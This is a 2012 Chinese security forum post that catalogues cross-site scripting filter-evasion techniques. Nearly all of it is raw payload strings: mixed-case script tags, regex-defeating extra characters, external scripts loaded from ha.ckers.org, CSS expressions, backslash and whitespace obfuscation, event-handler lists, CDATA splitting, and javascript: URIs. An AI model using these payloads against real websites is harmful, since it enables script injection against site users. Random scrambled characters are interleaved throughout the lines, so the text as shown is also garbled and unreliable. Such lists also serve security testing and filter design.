找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2559|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
% A  L8 d: n# g: U% M2 q' T( w% v3 W) ?' \0 n! b
! [( r0 E& j( m7 g
5 `; k, i9 V7 B/ z; ?5 b; z" D
    <sCript>alert(‘d’)</scRipT>: Z1 M! p+ r: J8 l1 J

2 r5 t# Q0 R" c# r1 H2. 利用多加一些其它字符来规避Regular Expression的检查. ^; ]+ c9 N1 O. m! V2 p4 s
: \/ g" n6 [1 A7 Z/ O
    <<script>alert(‘c’)//<</script>5 B/ ^3 Z! e+ d
9 E; O& D) Z  b* ^# T
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
2 T+ r; O1 y6 Y7 I! x
" u. l# A+ U3 ~    <SCRIPT =">" SRC="t.js"></SCRIPT>
/ J7 [: H% |2 p! F% u- }) R) b7 L$ }1 t( x! M
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>: ~2 n' u$ ~# d$ }) x0 f/ S
  C* k. `0 l8 d0 b& y5 h+ w, ?
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
0 N" [/ g& j( \; {2 E
: d+ o' k5 f2 @3 P( s. U    <SCRIPT a=`>` SRC="t.js"></SCRIPT>& F/ i9 X( W  K' m* c# |6 @9 Z
1 z2 V: _. C. z' V( X
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>  W6 S) |% d7 O9 L  j

/ Q: C0 A* K1 p- u3 p- e7 x3. 以其它扩展名取代.js
! P; Q$ ^+ I5 |/ f. b& V, q! N4 l- i% W) ]" b6 K& O8 y
    <script src="bad.jpg"></script>
% b. A5 ~0 ~3 r6 o# @2 h$ J& R% O
4 H: J+ Y/ G1 m+ F0 L4. 将Javascript写在CSS档里3 X6 ~/ g8 J8 T. ]) U$ ^
; F- F; r& l; x! l, `& z. u, Z9 i
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
" {1 ]$ _3 H/ O( Q3 l
5 }4 F7 q1 X6 X; h/ `; i8 f       example:6 |3 L" _) X! A. p! T) x) E$ B
$ I3 M% }) O9 H
          body {
: a9 g/ v6 M2 l; x$ T' l6 R
  x: r( P8 ^) r. h               background-image: url(‘javascript:alert("XSS");’)
6 W' f) z' a; N. D1 I7 l. R; d( `/ R6 Q& a, b  V1 z( [
          }: ]* `: U& r% x4 l3 \
6 K! {* P5 h% J1 V1 V5 y
5. 在script的tag里加入一些其它字符5 r# j  _5 l5 Z" i
2 j7 t+ K9 |6 ]) H8 N' ^/ \
    <SCRIPT/SRC="t.js"></SCRIPT>/ Q$ m4 H( B2 {2 ~- G
3 e. ?  D; e# X; S6 g
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
7 Y! M" B- D+ M& j: Y+ f( B4 O2 M3 I9 r9 o
6. 使用tab或是new line来规避' b/ s4 _' ^: t3 k" w$ `" C
5 u" H1 ~! H- l" ?& H( u
    <img src="jav ascr ipt:alert(‘XSS3′)">" W1 F$ J0 F" w
. y+ N6 Z4 O2 V$ Y/ q! |4 U
    <img src="jav ascr ipt:alert(‘XSS3′)">% y8 ^* V! p5 g" O

" C8 P) C0 M; S7 K! _& @3 w7 i    <IMG SRC="jav ascript:alert(‘XSS’);">
0 R9 Z/ n. p0 S# H; @, P0 t* _4 l. Z: p' ?
         -> tag' e) e: x. N: T, l3 P
( E2 b, f& S" J2 [; Q
         -> new line& q) w# q9 p1 f7 b( _$ Y. h5 Q

" x+ \& Q& I7 A2 Z7 b1 O/ {# x7. 使用"\"来规避( R4 \, s5 N! \1 c; \: K6 u, t

1 s* r. I: V$ W9 m( k% U% A' t* @7 [    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
( I; g+ o: A4 I& }2 e$ K( ^  ?$ Z& V; Q$ E4 q
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>) w) f( y! w+ p* I1 K

* ~% ~' {3 ?. ~8 i. j; X/ ~    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
% B2 X. n% c, A6 ^/ k( f4 i# b  a$ G" w' X. ~# ]
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">8 G$ L! J2 S( H- w+ t* E

. h$ ]3 i; I. b2 L    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
: J0 Z1 f  n9 c! F# s: u6 E% q- t9 a! o: E- R
8. 使用Hex encode来规避(也可能会把";"拿掉)
- v8 B1 y1 }; a' m: n0 z
8 o4 X3 U8 ^9 \" P8 A- R    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
5 N! P( @$ w# E; J6 o! N4 n, E. k' i' [5 e9 t7 d
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">* L2 v: T" ^: T( A( `7 v: W% L7 P8 }: U

5 l- ^; u, ^- J/ K- a    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">, j+ V+ h; w8 Q+ ^

5 X9 T  W3 k9 o8 ~9 O& v1 R$ c5 l" q        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">5 v7 O7 J6 ?; M' x) J
2 U* `) _" u4 }( S5 n0 Y4 @, r
9. script in HTML tag
7 S$ [: F( i" k2 |, r$ g4 H& W
! _: T! f5 ]* b+ [9 I! P! K& n# V    <body onload=」alert(‘onload’)」>/ f, L& D9 X. m
0 }* |- l' ]2 H* t6 \' v
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload  R' F) {) }; t( i* \: ^- ]
; c; S' _- `! G4 q' h8 i4 r1 m
10. 在swf里含有xss的code
) b( u$ ?+ W9 i8 @% p
; n4 [6 U  g' t/ |/ e    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
1 B4 o4 K1 d/ j8 E
* y$ l8 ^: b  i! |( V! O" R11. 利用CDATA将xss的code拆开,再组合起来。9 m1 {/ k! H4 T+ S" L9 k: F' g: R
' o/ G+ a" |- d# B
    <XML ID=I><X><C>
+ _1 `8 W3 l' K( l- R; s- q
5 |; j. t: i  d$ u    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>- U; S$ }4 {1 o$ ^" l
& E( D' Y- U; B& N0 o& i
    </C></X>
4 h2 C9 V+ e& p) r" @3 [0 B: X2 q* O* P5 s4 |
    </xml>( ?9 i. Y1 O# W8 E+ b
0 W/ e) n7 ^! |& |
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>1 `& V' l" `9 x- D

. W: r, U1 R  ~2 O    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>( x0 V" q8 g8 E" e0 f1 K: x

! g; G' N) Q0 l2 b9 N' b1 W/ D    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
3 Q0 W: T) T. b4 C7 f: Z/ j) c4 Y: i
12. 利用HTML+TIME。8 {& w8 n9 i" {8 e+ j. R  Y
7 @) k4 i2 c! A8 \, B0 w
    <HTML><BODY>
7 Z6 F" A" C9 e3 p: i2 I7 ^& U* t' Y4 B: \: y
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
3 U$ Z3 C) {9 f. y5 ?- i( W6 m5 T9 T: A) C9 K0 W: _0 H5 S
    <?import namespace="t" implementation="#default#time2">
5 k2 |4 B1 r- o4 _  B+ g
% I- Y* s: m: f* V$ r! C    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">/ d4 L% Z' X, l) s$ R  z

9 u/ ~9 n" u# H/ |7 ~' b; @    </BODY></HTML>
7 }! g# }1 j" ~2 G9 m- D3 J
' m6 C  _) ~& J9 D13. 透过META写入Cookie。2 ?' N1 p& s# U9 P1 L3 n! f

4 I) E& Q. p7 \" F    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"># I( s% U8 b' m3 R) V

2 m. E$ M8 T9 ?8 w14. javascript in src , href , url
; R- U6 J* V; {# a8 F, g: _' O8 l) |" I* h" K2 r
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
7 o  J  Y! B4 y- z5 M+ Y# `0 i! {- R! b) f
    <img src="javascript:alert(‘XSS3′)">2 P5 n9 N) x6 @- x7 j6 U: a
; ^# @3 i# S3 d2 r7 a
<IMG DYNSRC="javascript:alert(‘XSS20′)">
( W/ m* ~5 e  R! c6 e
) \. T# P; f1 v    <IMG LOWSRC="javascript:alert(‘XSS21′)">
. `, |6 z0 u* V' Y' F; E! U
% W* b. F: o# F8 C+ P$ N    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">" Y# ?0 {+ e2 M. y6 F6 }
- V% B0 |) n" n9 q; i4 K$ j
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
7 G' E4 s8 T0 @' K9 z$ A; B9 j% a3 ?4 J! t$ G, x5 Q. Y5 J; r. Q
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">) E1 x2 x$ T. V
6 _5 u1 Z  o6 p6 O
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
; P6 H9 I3 f; u3 v) j7 o
$ m$ p: P# F: f! ^+ {, ?' I( c    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
4 B+ l- S8 C1 w1 ]' @9 Y
( h$ ?% H: {' a$ |    </STYLE><A CLASS=XSS></A>
/ M. R& t4 [' ~: O( D' A* C7 @: a2 M
8 c* |, p7 ~! i, c6 `6 }    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>0 Q- U+ p5 z$ a4 G2 ?' J& ?" B
, `% l; v2 g8 ~; C8 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表